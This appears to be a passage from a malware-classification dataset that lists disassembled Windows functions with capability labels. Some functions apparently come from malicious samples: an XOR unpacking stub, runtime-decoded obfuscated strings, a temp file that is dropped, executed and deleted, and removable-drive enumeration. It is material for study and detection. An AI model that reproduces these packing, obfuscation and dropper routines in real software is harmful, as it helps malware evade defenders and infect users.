joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405a74
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x40a9bc], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x405b4e
cmp dword [0x40a9b8], 0
jne 0x405b4e
cmp dword [0x40abac], 0
je 0x405b08
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00405864
add esp, 8
mov ebx, eax
test eax, eax
jne 0x405aee
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00405864
add esp, 8
mov ebx, eax
test eax, eax
jne 0x405aee
lea ebx, [ebp - 0x84]
jmp 0x405aef
inc ebx
call fcn.00405a30
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x405b89
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x40a9c0
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00402380
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x40a9c3
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x405b89
cmp dword [0x40a9b8], 0
je 0x405b68
cmp dword [0x40a9b8], 0xffffffff
je 0x405b89
push esi
call dword [0x40a9b8]
pop ecx
mov eax, dword [0x40a9bc]
test eax, eax
je 0x405b89
cmp dword [0x40a9bc], 0xffffffff
je 0x405b89
cmp byte [eax], 0
je 0x405b89
push esi
push eax
call fcn.004059b4
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403e80
Capabilities:
Get disk information

Disassembly:
sub esp, 0x20c
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
lea edx, [esp + 4]
push pe_nt_image_headers32
push eax
push ecx
lea eax, [esp + 0xc]
push edx
push eax
lea ecx, [esp + 0x120]
push pe_nt_image_headers32
push ecx
push 0x409818
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [esp]
mov edx, eax
mov ecx, eax
and edx, 0xff
push edx
xor edx, edx
shr ecx, 4
mov dl, ah
and ecx, 0xff
shr eax, 0xc
push ecx
and eax, 0xff
push edx
push eax
mov eax, dword [esp + 0x220]
push str._02.2X___02.2X___02.2X___02.2X_
push eax
call sub.MFC42.DLL_CString::Format
mov al, 1
add esp, 0x224
ret 4
Function at 0x4054c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x406d0f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
push edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call fcn.00406264
push 0x409e74
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [0x409d08]
mov byte [esp + 0x24], 2
mov eax, dword [eax - 8]
lea esi, [eax - 1]
test esi, esi
jl 0x405531
mov ecx, dword [0x409d08]
mov dl, 0xa4
mov al, byte [ecx + esi]
lea ecx, [esp + 8]
sub dl, al
push edx
call sub.MFC42.DLL_CString::operator_2
sub esi, 2
jns 0x405515
push 0x409a10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::operator_1
mov esi, dword [esp + 0x30]
push 0x2e
mov ecx, esi
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x18]
push 0
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::Mid_1
mov esi, eax
push 2
lea ecx, [esp + 0x14]
push 2
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 3
call sub.MFC42.DLL_CString::Mid_1
mov edi, eax
push 1
lea edx, [esp + 0x34]
push 0
push edx
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 4
call sub.MFC42.DLL_CString::Mid_1
mov ecx, dword [esi]
mov edx, dword [edi]
mov eax, dword [eax]
push ecx
push edx
push eax
push 0x409b6c
lea ecx, [esp + 0x1c]
push str._s_swin_s_s.exe
push ecx
mov byte [esp + 0x3c], 5
call sub.MFC42.DLL_CString::Format
add esp, 0x18
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x2c]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0x18], 1
lea ecx, [esp + 8]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret 8
Function at 0x405630
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x406d5f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
push edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0
call fcn.00406264
lea ecx, [esp + 8]
mov dword [esp + 0x28], 1
call fcn.00406264
mov eax, dword [0x409d08]
push 0x4091c8
push eax
mov byte [esp + 0x30], 2
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
jne 0x405699
push 0x409a24
lea ecx, [esp + 0xc]
call fcn.004062e2
jmp 0x4056c5
mov eax, dword [0x409d08]
xor esi, esi
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x4056c5
mov al, byte [eax + esi]
mov cl, 0xa3
sub cl, al
push ecx
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::operator_2
mov eax, dword [0x409d08]
add esi, 2
cmp esi, dword [eax - 8]
jl 0x4056a7
push 1
lea edx, [esp + 0x1c]
push 2
push edx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Mid_1
mov esi, eax
mov edi, dword [esp + 0x34]
push 0x2e
mov ecx, edi
mov byte [esp + 0x2c], 3
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x18]
push 0
push eax
mov ecx, edi
call sub.MFC42.DLL_CString::Mid_1
mov edi, eax
push 2
lea ecx, [esp + 0x14]
push 0
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 4
call sub.MFC42.DLL_CString::Mid_1
mov edx, dword [esi]
mov ecx, dword [edi]
push edx
mov edx, dword [eax]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s_sreg_s.exe
push eax
mov byte [esp + 0x3c], 5
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x30]
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0x1c], 1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x24
ret 8
Function at 0x405970
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x210
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x405b04
lea eax, [esp]
push esi
push eax
push 0x40756c
push 1
push 0
push 0x40757c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
jl 0x405ac0
mov eax, dword [esp + 4]
push edi
mov edi, dword [esp + 0x21c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x50]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x224]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x1c]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x228]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x2c]
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 0x40758c
mov edx, dword [eax]
push eax
call dword [edx]
mov esi, eax
test esi, esi
jl 0x405a78
push ebx
mov ebx, dword [esp + 0x224]
lea edx, [esp + 0x14]
push 0x104
push edx
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 1
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, eax
push esi
push ebx
push edi
push str.Crt_lnk_4_:_s_s__X_
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
pop ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
pop esi
add esp, 0x210
ret 0x10
mov edx, dword [esp + 0x220]
push esi
push edx
push edi
push str.Crt_lnk_2_:_s_s__X_
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
pop esi
add esp, 0x210
ret 0x10
mov edx, dword [esp + 0x21c]
mov eax, dword [esp + 0x218]
push esi
push edx
push eax
push str.Crt_lnk_3_:_s_s__X_
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
pop esi
add esp, 0x210
ret 0x10
mov eax, dword [esp + 4]
add esp, 0x210
ret 0x10
Function at 0x9eb920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9eb96c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9eb932
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9eb9d0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9eba22
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9eba28
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0xa03f15
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a03bd5

Function at 0xa08d0f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a08b8e

Function at 0xa0e2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa0e2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa0e2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x434f3a0b
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x7c36774a
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
mov eax, dword [0x40b034]
mov cx, word [0x40b038]
push edi
mov dword [esp + 4], eax
mov word [esp + 8], cx
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0xa]
rep stosd dword es:[edi], eax
lea edx, [esp + 4]
push edx
push 0x102
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0x210]
lea ecx, [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 2
push 0
push 0
lea edx, [esp + 0x18]
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
add esp, 0x208
ret

Function at 0x401070
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x66c
push ebx
push esi
push edi
xor esi, esi
mov ecx, 0x103
xor eax, eax
lea edi, [esp + 0x26a]
mov word [esp + 0x268], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x62]
mov word [esp + 0x60], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x60]
push 0x103
push eax
push esi
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x60]
push 0x2e
push ecx
call fcn.00403c7f
add esp, 8
cmp eax, esi
je 0x4010d2
mov word [eax], si
lea edx, [esp + 0x60]
push edx
call fcn.00401290
add esp, 4
test eax, eax
je 0x4011a5
lea eax, [esp + 0x268]
push 0x102
push eax
mov ebx, 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 0x268]
push str.expl
push ecx
call fcn.00403c30
add esp, 8
lea edx, [esp + 0x268]
push str.orer.exe
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x60]
lea ecx, [esp + 0x268]
push eax
push ecx
call fcn.00403c30
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x24]
add esp, 8
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], edx
lea ecx, [esp + 0x1c]
push eax
mov dword [esp + 0x14], edx
push ecx
push esi
mov dword [esp + 0x20], edx
push esi
push esi
mov dword [esp + 0x2c], edx
push esi
push esi
lea edx, [esp + 0x284]
push esi
push edx
push esi
mov dword [esp + 0x44], 0x44
mov word [esp + 0x74], 5
mov dword [esp + 0x70], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4011a5
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
pop edi
mov al, bl
pop esi
pop ebx
add esp, 0x66c
ret

Function at 0x401290
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x4012b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x4012d0
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x410
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], 0
mov word [esp + 0x20c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x20e]
push 0x102
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 4]
push ecx
call fcn.004013a0
lea edx, [esp + 0x210]
lea eax, [esp + 8]
push edx
push eax
call fcn.00403de3
add esp, 0xc
test eax, eax
jne 0x401349
pop edi
add esp, 0x410
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [esp + 8]
push 0x80
push ecx
call esi
lea edx, [esp + 8]
push 0
lea eax, [esp + 0x214]
push edx
push eax
call fcn.004013e0
add esp, 0xc
lea ecx, [esp + 8]
mov edi, eax
push 2
push ecx
call esi
mov eax, edi
pop esi
neg eax
sbb eax, eax
pop edi
and eax, 2
dec eax
add esp, 0x410
ret

Function at 0x4013e0
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40140c
pop edi
xor eax, eax
pop esi
pop ecx
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
neg ecx
sbb ecx, ecx
push 0
add ecx, 2
push 0
push ecx
push 0
push 1
push 0xc0000000
push edx
mov dword [esp + 0x2c], eax
call edi
mov edi, eax
cmp edi, 0xffffffff
jne 0x40144d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret
push ebx
push ebp
push 0
push 0
push 0
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
mov ebx, eax
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, eax
call ebx
push esi
call ebx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x10]
push 0
push eax
push ecx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
pop ecx
ret
Function at 0x4014b0
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
sub esp, 0x474
mov ecx, 0x11
xor eax, eax
xor edx, edx
push esi
push edi
mov esi, str.GJDXKNB_KL_BGHMD_RNESV_QD_Bk_rrdr_dwdehkd_f_t_MdudqRgnvDws__
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4014fa
mov cl, byte [esp + edx + 0x24]
lea edi, [esp + 0x24]
inc cl
xor eax, eax
mov byte [esp + edx + 0x24], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4014dd
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x6e]
mov word [esp + 0x6c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 6
mov esi, str.qdfhmh_dwd
lea edi, [esp + 0xc]
lea eax, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push eax
xor edi, edi
call fcn.00403e63
add esp, 4
test eax, eax
jbe 0x40154f
lea esi, [esp + 0xc]
inc word [esi]
lea ecx, [esp + 0xc]
push ecx
inc edi
add esi, 2
call fcn.00403e63
add esp, 4
cmp edi, eax
jb 0x401537
lea edx, [esp + 0xc]
lea eax, [esp + 0x274]
push edx
push eax
call fcn.00403c5a
add esp, 8
lea ecx, [esp + 0x6c]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [esp + 0x6c]
push str.ppxxxx
push edx
call edi
push 0
push 0
push 2
push 0
push 1
lea eax, [esp + 0x80]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4015d0
lea ecx, [esp + 8]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x274]
push ecx
push edx
call edi
push 0xffffffffffffffff
lea eax, [esp + 0x278]
push 0
push eax
call fcn.00401870
add esp, 0xc
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
add esp, 0x474
ret
Function at 0x401870
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
mov dword [esp + 8], eax
mov cx, word [esp + 0x64]
mov dword [esp + 0xc], eax
push edx
mov dword [esp + 0x14], eax
mov word [esp + 0x4c], cx
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x44
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
test esi, esi
je 0x4018fd
cmp dword [esp + 0x68], 0xffffffff
jne 0x4018e9
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x401910
Capabilities:
Get disk information

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
mov cl, byte [0x40b14e]
mov ebp, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [0x40b14c]
xor edi, edi
mov dword [esp + 0x18], 0xff
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov word [esp + 0x10], ax
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0
mov dword [esp + 0x14], 2
mov esi, 0x40cba5
mov dl, byte [esp + 0x14]
lea eax, [esp + 0x10]
add dl, 0x41
push eax
mov byte [esp + 0x14], dl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov bl, al
cmp bl, 1
jne 0x4019a8
mov byte [esi], 0
jmp 0x401a59
lea ecx, [esp + 0x24]
push 0x1f
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
lea edx, [esp + 0x58]
push 0x7f
lea eax, [esp + 0x28]
push edx
push eax
mov byte [esp + 0x32], 0x5c
mov byte [esp + 0x33], 0
call ebp
cmp eax, edi
mov byte [esp + 0x12], 0
jne 0x4019e4
mov byte [esi], 0
jmp 0x401a59
cmp dword [0x40b030], edi
je 0x401a00
cmp bl, 2
jne 0x401a59
lea ecx, [esp + 0x10]
push ecx
call fcn.00401a90
add esp, 4
jmp 0x401a59
mov al, byte [esi - 1]
mov byte [esi - 1], bl
cmp al, bl
jne 0x401a0f
cmp byte [esi], 0x63
je 0x401a59
cmp bl, 2
jne 0x401a30
lea edx, [esp + 0x10]
mov byte [esi], 1
push edx
call fcn.00401a90
add esp, 4
neg eax
sbb al, al
and al, 0x64
dec al
mov byte [esi], al
jmp 0x401a59
cmp bl, 3
jne 0x401a44
lea eax, [esp + 0x10]
mov byte [esi], 1
push eax
call fcn.00401ae0
jmp 0x401a53
cmp bl, 4
jne 0x401a59
lea ecx, [esp + 0x10]
push ecx
call fcn.00401b00
add esp, 4
mov byte [esi], 0x63
mov edx, dword [esp + 0x14]
add esi, 0x42
inc edx
cmp esi, 0x40d1d5
mov dword [esp + 0x14], edx
jl 0x401983
mov dword [0x40b030], edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xb4
ret